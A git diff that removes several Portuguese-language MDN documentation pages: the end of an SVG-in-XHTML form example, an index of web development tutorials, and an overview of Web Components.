-&lt;/html&gt;
-</pre>
-
-<h2 id="Discussion" name="Discussion">Discussão</h2>
-
-<p>The page is mainly regular XHTML, CSS and JavaScript. The only interesting part is the &lt;svg&gt; element it contains. This element and its children are declared to be in the SVG namespace. The element contains a gradient and two shapes filled with the gradient. The gradient color stops have their colors set by CSS. When the user enters something incorrect into the form, the script sets the <code>invalid</code> attribute on the &lt;body&gt;, and a style rule changes the gradient <code>end-stop</code> color to red. (Another style rule makes an error message appear.)</p>
-
-<p>This approach has the following points in its favor:</p>
-
-<ul>
- <li>We have taken a regular XHTML form that could have been part of an existing Web site, and added an attractive, interactive background</li>
- <li>The approach is backwards compatible to browsers that do not support SVG; simply, no background appears in them</li>
- <li>It's very simple and performs very well</li>
- <li>The picture dynamically sizes itself to the required size in an intelligent way</li>
- <li>We can have declarative style rules applying to both HTML and SVG</li>
- <li>The same script manipulates both HTML and SVG</li>
- <li>The document is entirely standards-based</li>
-</ul>
-
-<div class="note">
-<p>To add a linked image with DOM methods to an embedded SVG element, one has to use <code>setAttributeNS</code> to set <code>href</code>. Like in the following example:</p>
-
-<pre class="brush: js"> var img = document.createElementNS("http://www.w3.org/2000/svg", "image");
-img.setAttributeNS("http://www.w3.org/1999/xlink", "xlink:href", "move.png");
-
-
-</pre>
-</div>
-
-<h2 id="Details" name="Details">Detalhes</h2>
-
-<p>The <code>viewBox</code> attribute establishes a logical coordinate system which the SVG picture's coordinates are relative to. In this case our picture is laid out in a 100 by 100 viewport.</p>
-
-<p>The <code>preserveAspectRatio</code> attribute specifies that the aspect ratio must be preserved by centering the picture in the available size, sizing to the maximum of the height or width and then cutting off any overflow.</p>
-
-<p>The <code>style</code> attribute pins the SVG element to the background of the form.</p>
-
-<h2 id="Related_Links" name="Related_Links">Hiperligações Relacionadas</h2>
-
-<ul>
- <li>Another SVG in XHTML example: <a href="/en-US/docs/SVG/Namespaces_Crash_Course/Example" title="SVG/Namespaces_Crash_Course/Example">A swarm of motes</a></li>
- <li><a class="external" href="/pt-PT/docs/Web/SVG/Namespaces_Crash_Course/Exemplo">Working example</a> that works in both Mozilla and in Internet Explorer with Adobe's SVG Viewer installed. (For inline SVG to work in both Firefox and Internet Explorer it is necessary to serve documents with a different Content-Type to each browser. For this reason, if you're behind a proxy server that caches the page, the example wont work in the second browser you load it in because it will receive the wrong Content-Type.)</li>
-</ul>
-
-
-<div id="SL_balloon_obj" style="display: block;">
-<div class="SL_ImTranslatorLogo" id="SL_button" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%; opacity: 0; display: none; left: -8px; top: -25px; transition: visibility 2s ease 0s, opacity 2s linear 0s;"> </div>
-
-<div id="SL_shadow_translation_result2" class="hidden"> </div>
-
-<div id="SL_shadow_translator" class="hidden">
-<div id="SL_planshet">
-<div id="SL_arrow_up" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_Bproviders">
-<div class="SL_BL_LABLE_ON" id="SL_P0" title="Google">G</div>
-
-<div class="SL_BL_LABLE_ON" id="SL_P1" title="Microsoft">M</div>
-
-<div class="SL_BL_LABLE_ON" id="SL_P2" title="Translator">T</div>
-</div>
-
-<div id="SL_alert_bbl" class="hidden">
-<div id="SLHKclose" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_alert_cont"> </div>
-</div>
-
-<div id="SL_TB">
-<table id="SL_tables">
- <tbody><tr>
- <td class="SL_td"><input></td>
- <td class="SL_td"><select><option value="auto">Detectar idioma</option><option value="af">Africâner</option><option value="sq">Albanês</option><option value="de">Alemão</option><option value="ar">Arabe</option><option value="hy">Armênio</option><option value="az">Azerbaijano</option><option value="eu">Basco</option><option value="bn">Bengali</option><option value="be">Bielo-russo</option><option value="my">Birmanês</option><option value="bs">Bósnio</option><option value="bg">Búlgaro</option><option value="ca">Catalão</option><option value="kk">Cazaque</option><option value="ceb">Cebuano</option><option value="ny">Chichewa</option><option value="zh-CN">Chinês (Simp)</option><option value="zh-TW">Chinês (Trad)</option><option value="si">Cingalês</option><option value="ko">Coreano</option><option value="ht">Crioulo haitiano</option><option value="hr">Croata</option><option value="da">Dinamarquês</option><option value="sk">Eslovaco</option><option value="sl">Esloveno</option><option value="es">Espanhol</option><option value="eo">Esperanto</option><option value="et">Estoniano</option><option value="fi">Finlandês</option><option value="fr">Francês</option><option value="gl">Galego</option><option value="cy">Galês</option><option value="ka">Georgiano</option><option value="el">Grego</option><option value="gu">Gujarati</option><option value="ha">Hauça</option><option value="iw">Hebraico</option><option value="hi">Hindi</option><option value="hmn">Hmong</option><option value="nl">Holandês</option><option value="hu">Húngaro</option><option value="ig">Igbo</option><option value="id">Indonésio</option><option value="en">Inglês</option><option value="yo">Ioruba</option><option value="ga">Irlandês</option><option value="is">Islandês</option><option value="it">Italiano</option><option value="ja">Japonês</option><option value="jw">Javanês</option><option value="kn">Kannada</option><option value="km">Khmer</option><option value="lo">Laosiano</option><option value="la">Latim</option><option value="lv">Letão</option><option value="lt">Lituano</option><option value="mk">Macedônico</option><option value="ml">Malaiala</option><option value="ms">Malaio</option><option value="mg">Malgaxe</option><option value="mt">Maltês</option><option value="mi">Maori</option><option value="mr">Marathi</option><option value="mn">Mongol</option><option value="ne">Nepalês</option><option value="no">Norueguês</option><option value="fa">Persa</option><option value="pl">Polonês</option><option value="pt">Português</option><option value="pa">Punjabi</option><option value="ro">Romeno</option><option value="ru">Russo</option><option value="sr">Sérvio</option><option value="st">Sesotho</option><option value="so">Somália</option><option value="sw">Suaíli</option><option value="su">Sudanês</option><option value="sv">Sueco</option><option value="tg">Tadjique</option><option value="tl">Tagalo</option><option value="th">Tailandês</option><option value="ta">Tâmil</option><option value="cs">Tcheco</option><option value="te">Telugo</option><option value="tr">Turco</option><option value="uk">Ucraniano</option><option value="ur">Urdu</option><option value="uz">Uzbeque</option><option value="vi">Vietnamita</option><option value="yi">Yiddish</option><option value="zu">Zulu</option></select></td>
- <td class="SL_td">
- <div id="SL_switch_b" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Alternar Idiomas"> </div>
- </td>
- <td class="SL_td"><select><option value="af">Africâner</option><option value="sq">Albanês</option><option value="de">Alemão</option><option value="ar">Arabe</option><option value="hy">Armênio</option><option value="az">Azerbaijano</option><option value="eu">Basco</option><option value="bn">Bengali</option><option value="be">Bielo-russo</option><option value="my">Birmanês</option><option value="bs">Bósnio</option><option value="bg">Búlgaro</option><option value="ca">Catalão</option><option value="kk">Cazaque</option><option value="ceb">Cebuano</option><option value="ny">Chichewa</option><option value="zh-CN">Chinês (Simp)</option><option value="zh-TW">Chinês (Trad)</option><option value="si">Cingalês</option><option value="ko">Coreano</option><option value="ht">Crioulo haitiano</option><option value="hr">Croata</option><option value="da">Dinamarquês</option><option value="sk">Eslovaco</option><option value="sl">Esloveno</option><option value="es">Espanhol</option><option value="eo">Esperanto</option><option value="et">Estoniano</option><option value="fi">Finlandês</option><option value="fr">Francês</option><option value="gl">Galego</option><option value="cy">Galês</option><option value="ka">Georgiano</option><option value="el">Grego</option><option value="gu">Gujarati</option><option value="ha">Hauça</option><option value="iw">Hebraico</option><option value="hi">Hindi</option><option value="hmn">Hmong</option><option value="nl">Holandês</option><option value="hu">Húngaro</option><option value="ig">Igbo</option><option value="id">Indonésio</option><option selected value="en">Inglês</option><option value="yo">Ioruba</option><option value="ga">Irlandês</option><option value="is">Islandês</option><option value="it">Italiano</option><option value="ja">Japonês</option><option value="jw">Javanês</option><option value="kn">Kannada</option><option value="km">Khmer</option><option value="lo">Laosiano</option><option value="la">Latim</option><option value="lv">Letão</option><option value="lt">Lituano</option><option value="mk">Macedônico</option><option value="ml">Malaiala</option><option value="ms">Malaio</option><option value="mg">Malgaxe</option><option value="mt">Maltês</option><option value="mi">Maori</option><option value="mr">Marathi</option><option value="mn">Mongol</option><option value="ne">Nepalês</option><option value="no">Norueguês</option><option value="fa">Persa</option><option value="pl">Polonês</option><option value="pt">Português</option><option value="pa">Punjabi</option><option value="ro">Romeno</option><option value="ru">Russo</option><option value="sr">Sérvio</option><option value="st">Sesotho</option><option value="so">Somália</option><option value="sw">Suaíli</option><option value="su">Sudanês</option><option value="sv">Sueco</option><option value="tg">Tadjique</option><option value="tl">Tagalo</option><option value="th">Tailandês</option><option value="ta">Tâmil</option><option value="cs">Tcheco</option><option value="te">Telugo</option><option value="tr">Turco</option><option value="uk">Ucraniano</option><option value="ur">Urdu</option><option value="uz">Uzbeque</option><option value="vi">Vietnamita</option><option value="yi">Yiddish</option><option value="zu">Zulu</option></select></td>
- <td class="SL_td">
- <div id="SL_TTS_voice" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Ouça"> </div>
- </td>
- <td class="SL_td">
- <div class="SL_copy" id="SL_copy" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Copiar"> </div>
- </td>
- <td class="SL_td">
- <div id="SL_bbl_font_patch"> </div>
-
- <div class="SL_bbl_font" id="SL_bbl_font" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Tamanho da fonte"> </div>
- </td>
- <td class="SL_td">
- <div id="SL_bbl_help" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Ajuda"> </div>
- </td>
- <td class="SL_td">
- <div class="SL_pin_off" id="SL_pin" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Fixar a janela de pop-up"> </div>
- </td>
- </tr>
-</tbody></table>
-</div>
-</div>
-
-<div id="SL_shadow_translation_result" style=""> </div>
-
-<div class="SL_loading" id="SL_loading" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_player2"> </div>
-
-<div id="SL_alert100">A função de fala é limitada a 200 caracteres</div>
-
-<div id="SL_Balloon_options" style="background: rgb(255, 255, 255) repeat scroll 0% 0%;">
-<div id="SL_arrow_down" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<table id="SL_tbl_opt" style="width: 100%;">
- <tbody><tr>
- <td><input></td>
- <td>
- <div id="SL_BBL_IMG" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Mostrar o botão do ImTranslator 3 segundos"> </div>
- </td>
- <td><a class="SL_options" title="Mostrar opções">Opções</a> : <a class="SL_options" title="Histórico de tradução">Histórico</a> : <a class="SL_options" title="Comentários">Comentários</a> : <a class="SL_options" href="https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&amp;hosted_button_id=GD9D8CPW8HFA2" title="Faça sua contribuição">Donate</a></td>
- <td><span id="SL_Balloon_Close" title="Encerrar">Encerrar</span></td>
- </tr>
-</tbody></table>
-</div>
-</div>
-</div>
diff --git a/files/pt-pt/web/tutorials/index.html b/files/pt-pt/web/tutorials/index.html
deleted file mode 100644
index 78ec203c55..0000000000
--- a/files/pt-pt/web/tutorials/index.html
+++ /dev/null
@@ -1,253 +0,0 @@
----
-title: Tutoriais
-slug: Web/Tutorials
-tags:
- - CSS Guia
- - Código
- - Desenho da Web
- - Fundamental da Web
- - HTML
- - JavaScript
- - MDN
- - Principiante
- - Tutorial
-translation_of: Web/Tutorials
-original_slug: Web/Tutoriais
----
-<p>As hiperligações nesta página encaminham para uma variedade de tutoriais e materiais de treino. Se está apenas a começar, a aprender o básico, ou é uma mão antiga no desenvolvimento da Web, pode encontrar aqui recursos úteis para as melhores práticas.</p>
-
-<p>Estes recursos são criados por empresas que pensam no futuro e programadores da <em>Web</em> que abraçaram os padrões abertos e as melhores práticas para o desenvolvimento da <em>Web</em> e que fornecem ou permitem traduções, através de uma licença de conteúdo aberto, tal como Creative Commons. .</p>
-
-<h2 id="Para_os_principiantes_na_Web">Para os principiantes na Web</h2>
-
-<dl>
- <dt><a href="/pt-PT/docs/Learn/Comecar_com_a_Web">Primeiros passos na Web </a></dt>
- <dd><em>Getting started with the Web</em> is a concise series introducing you to the practicalities of web development. You'll set up the tools you need to construct a simple webpage and publish your own simple code.</dd>
-</dl>
-
-<h2 class="Documentation" id="Documentation" name="Documentation">HTML - Tutoriais</h2>
-
-<h3 id="Nível_introdutório">Nível introdutório</h3>
-
-<div class="row topicpage-table">
-<div class="section">
-<dl>
- <dt><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML">Introduction to HTML</a></dt>
- <dd>This module sets the stage, getting you used to important concepts and syntax, looking at applying HTML to text, how to create hyperlinks, and how to use HTML to structure a webpage.</dd>
- <dt><strong><a href="https://developer.mozilla.org/en-US/docs/HTML/Element">MDN HTML element reference</a></strong></dt>
- <dd>A comprehensive reference for HTML elements, and how the different browsers support them.</dd>
-</dl>
-</div>
-
-<div class="section">
-<dl>
- <dt><strong><a href="https://www.theblogstarter.com/html-for-beginners">Creating a Simple Web Page with HTML</a> (The Blog Starter)</strong></dt>
- <dd>An HTML guide for beginners that includes explanations of common tags, including HTML5 tags. Also includes a step-by-step guide to creating a basic web page with code examples.</dd>
- <dt><strong><a href="http://bit.ly/2z9xSS2">Beginner's Guide to HTML</a> (Website Setup)</strong></dt>
- <dd>This HTML guide for beginners teaches you how to set up a basic website using HTML and NEW HTML5 tags. Simple step-by-step tutorial with images and resources that you can use to improve your coding skills.</dd>
- <dt><strong><a href="http://wikiversity.org/wiki/Web_Design/HTML_Challenges" rel="external">HTML Challenges</a> (Wikiversity)</strong></dt>
- <dd>Use these challenges to hone your HTML skills (for example, "Should I use an &lt;h2&gt; element or a &lt;strong&gt; element?"), focusing on meaningful mark-up.</dd>
-</dl>
-</div>
-</div>
-
-<h3 id="Nível_intermediário">Nível intermediário</h3>
-
-<div class="row topicpage-table">
-<div class="section">
-<dl>
- <dt><a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding">Multimedia and embedding</a></dt>
- <dd>This module explores how to use HTML to include multimedia in your web pages, including the different ways that images can be included, and how to embed video, audio, and even entire other webpages.</dd>
-</dl>
-</div>
-
-<div class="section">
-<dl>
- <dt></dt>
- <dt><a href="/en-US/docs/Learn/HTML/Tables">HTML tables</a></dt>
- <dd>Representing tabular data on a webpage in an understandable, {{glossary("Accessibility", "accessible")}} way can be a challenge. This module covers basic table markup, along with more complex features such as implementing captions and summaries.</dd>
-</dl>
-</div>
-</div>
-
-<h3 id="Nível_avançado">Nível avançado</h3>
-
-<div class="row topicpage-table">
-<div class="section">
-<dl>
- <dt><a href="/en-US/docs/Learn/HTML/Forms">HTML forms</a></dt>
- <dd>Forms are a very important part of the Web — these provide much of the functionality you need for interacting with web sites, e.g. registering and logging in, sending feedback, buying products, and more. This module gets you started with creating the client-side parts of forms.</dd>
- <dt><strong><a href="https://developer.mozilla.org/en-US/docs/Tips_for_Authoring_Fast-loading_HTML_Pages">Tips for authoring fast-loading HTML pages</a></strong></dt>
- <dd>Optimize web pages to provide a more responsive site for visitors and reduce the load on your web server and Internet connection.</dd>
-</dl>
-</div>
-</div>
-
-<h2 class="Documentation" id="Documentation" name="Documentation">CSS - Tutoriais</h2>
-
-<h3 id="Nível_introdutório_2">Nível introdutório</h3>
-
-<div class="row topicpage-table">
-<div class="section">
-<dl>
- <dt><a href="/en-US/docs/Learn/Getting_started_with_the_web/CSS_basics">CSS basics</a></dt>
- <dd>CSS (Cascading Style Sheets) is the code you use to style your webpage. <em>CSS Basics</em> takes you through what you need to get started. We'll answer questions like: How do I make my text black or red? How do I make my content show up in such-and-such a place on the screen? How do I decorate my webpage with background images and colors?</dd>
- <dt><a href="/en-US/docs/Learn/CSS/Introduction_to_CSS">Introduction to CSS</a></dt>
- <dd>This module goes in depth with how CSS works, including selectors and properties, writing CSS rules, applying CSS to HTML, how to specify length, color, and other units in CSS, cascade and inheritance, box model basics, and debugging CSS.</dd>
-</dl>
-</div>
-
-<div class="section">
-<dl>
- <dt><a href="/en-US/docs/Learn/CSS/Styling_boxes">Styling boxes</a></dt>
- <dd>Next up, we look at styling boxes, one of the fundamental steps towards laying out a web page. In this module we recap the box model then look at controlling box layouts by setting padding, borders and margins, setting custom background colors, images and other features, and fancy features such as drop shadows and filters on boxes.</dd>
- <dt><a href="/en-US/docs/Learn/CSS/Styling_text">Styling text</a></dt>
- <dd>Here we look at text styling fundamentals, including setting font, boldness, and italics, line and letter spacing, and drop shadows and other text features. We round off the module by looking at applying custom fonts to your page, and styling lists and links.</dd>
- <dt><strong><a href="https://developer.mozilla.org/en-US/docs/Common_CSS_Questions">Common CSS Questions</a></strong></dt>
- <dd>Common questions and answers for beginners.</dd>
-</dl>
-</div>
-</div>
-
-<h3 id="Nível_intermediário_2">Nível intermediário</h3>
-
-<div class="row topicpage-table" style="width: 100%;">
-<div class="section">
-<dl>
- <dt><a href="/en-US/docs/Learn/CSS/CSS_layout">CSS layout</a></dt>
- <dd>At this point we've already looked at CSS fundamentals, how to style text, and how to style and manipulate the boxes that your content sits inside. Now it's time to look at how to place your boxes in the right place in relation to the viewport, and one another. We have covered the necessary prerequisites so can now dive deep into CSS layout, looking at different display settings, traditional layout methods involving float and positioning, and new fangled layout tools like flexbox.</dd>
- <dt><strong><a href="https://developer.mozilla.org/en-US/docs/CSS/CSS_Reference">CSS reference</a></strong></dt>
- <dd>Complete reference to CSS, with details on support by Firefox and other browsers.</dd>
-</dl>
-</div>
-
-<div class="section">
-<dl>
- <dt><strong><a href="http://www.alistapart.com/articles/fluidgrids/" rel="external">Fluid Grids</a> (A List Apart)</strong></dt>
- <dd>Design layouts that fluidly resize with the browser window, while still using a typographic grid.</dd>
- <dt><strong><a href="http://en.wikiversity.org/wiki/Web_Design/CSS_challenges" rel="external">CSS Challenges</a> (Wikiversity)</strong></dt>
- <dd>Flex your CSS skills, and see where you need more practice.</dd>
-</dl>
-</div>
-</div>
-
-<h3 id="Nível_avançado_2">Nível avançado</h3>
-
-<div class="row topicpage-table">
-<div class="section">
-<dl>
- <dt><strong><a href="/en-US/docs/Web/CSS/CSS_Transforms/Using_CSS_transforms">Using CSS transforms</a></strong></dt>
- <dd>Apply rotation, skewing, scaling, and translation using CSS.</dd>
- <dt><strong><a href="https://developer.mozilla.org/en-US/docs/CSS/CSS_transitions">CSS transitions</a></strong></dt>
- <dd>CSS transitions, part of the draft CSS3 specification, provide a way to animate changes to CSS properties, instead of having the changes take effect instantly.</dd>
-</dl>
-</div>
-
-<div class="section">
-<dl>
- <dt><strong><a href="http://www.html5rocks.com/tutorials/webfonts/quick/" rel="external">Quick Guide to Implement Web Fonts with @font-face</a> (HTML5 Rocks)</strong></dt>
- <dd>The @font-face feature from CSS3 allows you to use custom typefaces on the web in an accessible, manipulatable, and scalable way.</dd>
- <dt><strong><a href="http://davidwalsh.name/starting-css" rel="external">Starting to Write CSS</a> (David Walsh)</strong></dt>
- <dd>An introduction to tools and methodologies to write more succinct, maintainable, and scalable CSS.</dd>
-</dl>
-</div>
-</div>
-
-<div class="section">
-<dl>
- <dt><a href="/en-US/docs/Web/API/Canvas_API/Tutorial">Canvas tutorial</a></dt>
- <dd>Learn how to draw graphics using scripting using the canvas element.</dd>
- <dt><strong><a href="http://html5doctor.com/" rel="external">HTML5 Doctor</a></strong></dt>
- <dd>Articles about using HTML5 right now.</dd>
-</dl>
-</div>
-
-<h2 class="Documentation" id="Documentation" name="Documentation">Javascript - Tutoriais</h2>
-
-<h3 id="Nível_introdutório_3">Nível introdutório</h3>
-
-<div class="row topicpage-table">
-<div class="section">
-<dl>
- <dt></dt>
- <dt><a href="/en-US/docs/Learn/JavaScript/First_steps">JavaScript first steps</a></dt>
- <dd>In our first JavaScript module, we first answer some fundamental questions such as "what is JavaScript?", "what does it look like?", and "what can it do?", before moving on to taking you through your first practical experience of writing JavaScript. After that, we discuss some key JavaScript features in detail, such as variables, strings, numbers and arrays.</dd>
- <dt><a href="/en-US/docs/Learn/JavaScript/Building_blocks">JavaScript building blocks</a></dt>
- <dd>In this module, we continue our coverage of all JavaScript's key fundamental features, turning our attention to commonly-encountered types of code block such as conditional statements, loops, functions, and events. You've seen this stuff already in the course, but only in passing — here we'll discuss it all explicitly.</dd>
-</dl>
-</div>
-
-<div class="section">
-<dl>
- <dt><a href="/en-US/docs/Learn/Getting_started_with_the_web/JavaScript_basics">Getting started with JavaScript</a></dt>
- <dd>What is JavaScript and how can it help you?</dd>
- <dt><strong><a href="http://www.codecademy.com/">Codecademy</a> (Codecademy)</strong></dt>
- <dd>Codecademy is a easy way to learn how to code JavaScript. It's interactive and you can do it with your friends.</dd>
-</dl>
-</div>
-</div>
-
-<h3 id="Nível_intermediário_3">Nível intermediário</h3>
-
-<div class="row topicpage-table">
-<div class="section">
-<dl>
- <dt><a href="/en-US/docs/Learn/JavaScript/Objects">Introducing JavaScript objects</a></dt>
- <dd>In JavaScript, most things are objects, from core JavaScript features like strings and arrays to the browser APIs built on top of JavaScript. You can even create your own objects to encapsulate related functions and variables into efficient packages. The object-oriented nature of JavaScript is important to understand if you want to go further with your knowledge of the language and write more efficient code, therefore we've provided this module to help you. Here we teach object theory and syntax in detail, look at how to create your own objects, and explain what JSON data is and how to work with it.</dd>
- <dt><a href="/en-US/docs/Learn/JavaScript/Client-side_web_APIs">Client-side web APIs</a></dt>
- <dd>When writing client-side JavaScript for web sites or applications, you won't go very far before you start to use APIs — interfaces for manipulating different aspects of the browser and operating system the site is running on, or even data from other web sites or services. In this module we will explore what APIs are, and how to use some of the most common APIs you'll come across often in your development work. </dd>
-</dl>
-</div>
-
-<div class="section">
-<dl>
- <dt><strong><a href="https://developer.mozilla.org/en-US/docs/A_re-introduction_to_JavaScript">A re-Introduction to JavaScript</a></strong></dt>
- <dd>A recap of the JavaScript programming language aimed at intermediate-level developers.</dd>
- <dt><strong><a href="http://eloquentjavascript.net/" rel="external">Eloquent JavaScript</a></strong></dt>
- <dd>A comprehensive guide to intermediate and advanced JavaScript methodologies.</dd>
- <dt><strong><a href="http://speakingjs.com/es5/" rel="external">Speaking JavaScript</a> (Dr. Axel Rauschmayer)</strong></dt>
- <dd>For programmers who want to learn JavaScript quickly and properly, and for JavaScript programmers who want to deepen their skills and/or look up specific topics.</dd>
- <dt><strong><a href="http://www.addyosmani.com/resources/essentialjsdesignpatterns/book/" rel="external">Essential JavaScript Design Patterns</a> (Addy Osmani)</strong></dt>
- <dd>An introduction to essential JavaScript design patterns.</dd>
-</dl>
-</div>
-</div>
-
-<h3 id="Nível_avançado_3">Nível avançado</h3>
-
-<div class="row topicpage-table">
-<div class="section">
-<dl>
- <dt><a href="/en-US/docs/Web/JavaScript/Guide">JavaScript Guide</a></dt>
- <dd>A comprehensive, regularly updated guide to JavaScript for all levels of learning from beginner to advanced.</dd>
- <dt><strong><a href="https://github.com/getify/You-Dont-Know-JS" rel="external">You Don't Know JS</a> (Kyle Simpson)</strong></dt>
- <dd>A series of books diving deep into the core mechanisms of the JavaScript language.</dd>
- <dt><strong><a href="http://bonsaiden.github.com/JavaScript-Garden/" rel="external">JavaScript Garden</a></strong></dt>
- <dd>Documentation of the most quirky parts of JavaScript.</dd>
- <dt><strong><a href="http://exploringjs.com/es6/" rel="external">Exploring ES6</a> (Dr. Axel Rauschmayer)</strong></dt>
- <dd>Reliable and in-depth information on ECMAScript 2015.</dd>
-</dl>
-</div>
-
-<div class="section"><strong><a href="http://shichuan.github.io/javascript-patterns" rel="external">Javascipt Patterns</a></strong>
-
-<dl>
- <dd>A JavaScript pattern and antipattern collection that covers function patterns, jQuery patterns, jQuery plugin patterns, design patterns, general patterns, literals and constructor patterns, object creation patterns, code reuse patterns, DOM.</dd>
- <dt><strong><a href="http://www.html5rocks.com/en/tutorials/internals/howbrowserswork/">How browsers work</a></strong></dt>
- <dd>A detailed research article describing different modern browsers, their engines, page rendering etc.</dd>
- <dt><a href="https://github.com/bolshchikov/js-must-watch">JavaScript Videos</a> (GitHub)</dt>
- <dd>A collection of JavaScript videos to watch.</dd>
-</dl>
-</div>
-</div>
-
-<h3 id="Desenvolvimento_de_Extensão">Desenvolvimento de Extensão</h3>
-
-<div class="row topicpage-table" style="width: 100%;">
-<div class="section">
-<dl>
- <dt><a href="/pt-PT/Add-ons/WebExtensions">WebExtensions</a></dt>
- <dd>WebExtensions is a cross-browser system for developing browser add-ons. To a large extent the system is compatible with the <a class="external-icon external" href="https://developer.chrome.com/extensions">extension API</a> supported by Google Chrome and Opera. Extensions written for these browsers will in most cases run in Firefox or <a href="https://developer.microsoft.com/en-us/microsoft-edge/platform/documentation/extensions/">Microsoft Edge</a> with <a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/Porting_from_Google_Chrome">just a few changes</a>. The API is also fully compatible with <a href="https://developer.mozilla.org/en-US/Firefox/Multiprocess_Firefox">multiprocess Firefox</a>.</dd>
-</dl>
-</div>
-</div>
diff --git a/files/pt-pt/web/web_components/index.html b/files/pt-pt/web/web_components/index.html
deleted file mode 100644
index f84dbedcc3..0000000000
--- a/files/pt-pt/web/web_components/index.html
+++ /dev/null
@@ -1,227 +0,0 @@
----
-title: Componentes da Web
-slug: Web/Web_Components
-tags:
- - Artigo da Web
- - Componentes
- - Componentes da Web
- - Desenvolvimento da Web
- - Importações HTML
- - JavaScript
- - Landing
- - Modelo
- - Resumo
- - Sinopse
- - elementos personalizados
- - shadow dom
- - slot
-translation_of: Web/Web_Components
-original_slug: Web/Componentes_Web
----
-<div>{{DefaultAPISidebar("Componentes Web")}}</div>
-
-<div></div>
-
-<div class="summary">
-<p>Componentes Web é uma suite de diferentes tecnologias que permite a criação de elementos reutilizáveis — com a sua funcionalidade encapsulada longe do restante código — E utilizá-las nas suas aplicações web.</p>
-</div>
-
-<h2 id="Conceitos_e_utilização">Conceitos e utilização</h2>
-
-<p>Como programadores, todos sabemos que é boa ideia reutilizar código tanto como possível. Tradicionalmente, esta ideia não tem sido tão fácil para estruturas de marcação — pense no complexo HTML (e seus estilos e scripts associados) em que por vezes é necessário escrever controlos personalizados de UI e usá-los múltiplas vezes pode tornar a página numa desordem se não tiver cuidado</p>
-
-<p>Componentes Web visa resolver tais problemas — consiste em três grandes tecnologias, que usadas em conjunto, permitem criar elementos versáteis com funcionalidade encapsulada e que podem ser reutilizados onde se queira sem medo de colisões de código.</p>
-
-<ul>
- <li><strong>Custom elements</strong>: A set of JavaScript APIs that allow you to define custom elements and their behaviour, which can then be used as desired in your user interface.</li>
- <li><strong>Shadow DOM</strong>: A set of JavaScript APIs for attaching an encapsulated "shadow" DOM tree to an element — which is rendered separately from the main document DOM — and controlling associated functionality. In this way, you can keep an element's features private, so they can be scripted and styled without the fear of collision with other parts of the document.</li>
- <li><strong>HTML templates</strong>: The {{HTMLElement("template")}} and {{HTMLElement("slot")}} elements enable you to write markup templates that are not displayed in the rendered page. These can then be reused multiple times as the basis of a custom element's structure.</li>
-</ul>
-
-<p>The basic approach for implementing a web component generally looks something like this:</p>
-
-<ol>
- <li>Create a class or a function in which you specify your web component functionality. If using a class, use the ECMAScript 2015 class syntax (see <a href="/en-US/docs/Web/JavaScript/Reference/Classes">Classes</a> for more information). </li>
- <li>Register your new custom element using the {{domxref("CustomElementRegistry.define()")}} method, passing it the element name to be defined, the class or function in which its functionality is specified, and optionally, what element it inherits from.</li>
- <li>If required, attach a shadow DOM to the custom element using {{domxref("Element.attachShadow()")}} method. Add child elements, event listeners, etc., to the shadow DOM using regular DOM methods.</li>
- <li>If required, define an HTML template using {{htmlelement("template")}} and {{htmlelement("slot")}}. Again use regular DOM methods to clone the template and attach it to your shadow DOM.</li>
- <li>Use your custom element wherever you like on your page, just like you would any regular HTML element.</li>
-</ol>
-
-<h2 id="Tutoriais">Tutoriais</h2>
-
-<dl>
- <dt><a href="/en-US/docs/Web/Web_Components/Using_custom_elements">Using custom elements</a></dt>
- <dd>A guide showing how to use the features of custom elements to create simple web components, as well as looking into lifecycle callbacks and some other more advanced features.</dd>
- <dt><a href="/en-US/docs/Web/Web_Components/Using_shadow_DOM">Using shadow DOM</a></dt>
- <dd>A guide that looks at shadow DOM fundamentals, showing how to attach a shadow DOM to an element, add to the shadow DOM tree, style it, and more.</dd>
- <dt><a href="/en-US/docs/Web/Web_Components/Using_templates_and_slots">Using templates and slots</a></dt>
- <dd>A guide showing how to define a reusable HTML structure using {{htmlelement("template")}} and {{htmlelement("slot")}} elements, and then use that structure inside your web components.</dd>
-</dl>
-
-<h2 id="Referência">Referência</h2>
-
-<h3 id="Elementos_de_Custom">Elementos de <em>Custom</em></h3>
-
-<dl>
- <dt>{{domxref("CustomElementRegistry")}}</dt>
- <dd>Contains functionality related to custom elements, most notably the {{domxref("CustomElementRegistry.define()")}} method used to register new custom elements so they can then be used in your document.</dd>
- <dt>{{domxref("Window.customElements")}}</dt>
- <dd>Returns a reference to the <code>CustomElementRegistry</code> object.</dd>
- <dt><a href="/en-US/docs/Web/Web_Components/Using_custom_elements#Using_the_lifecycle_callbacks">Life cycle callbacks</a></dt>
- <dd>Special callback functions defined inside the custom element's class definition, which affect its behavior:
- <ul>
- <li><code>connectedCallback</code>: Invoked when the custom element is first connected to the document's DOM.</li>
- <li><code>disconnectedCallback</code>: Invoked when the custom element is disconnected from the document's DOM.</li>
- <li><code>adoptedCallback</code>: Invoked when the custom element is moved to a new document.</li>
- <li><code>attributeChangedCallback</code>: Invoked when one of the custom element's attributes is added, removed, or changed.</li>
- </ul>
- </dd>
- <dd>
- <ul>
- </ul>
- </dd>
-</dl>
-
-<dl>
- <dt>Extensions for creating custom built-in elements</dt>
- <dd>
- <ul>
- <li>The {{htmlattrxref("is")}} global HTML attribute: Allows you to specify that a standard HTML element should behave like a registered custom built-in element.</li>
- <li>The "is" option of the {{domxref("Document.createElement()")}} method: Allows you to create an instance of a standard HTML element that behaves like a given registered custom built-in element.</li>
- </ul>
- </dd>
- <dt>CSS pseudo-classes</dt>
- <dd>Pseudo-classes relating specifically to custom elements:
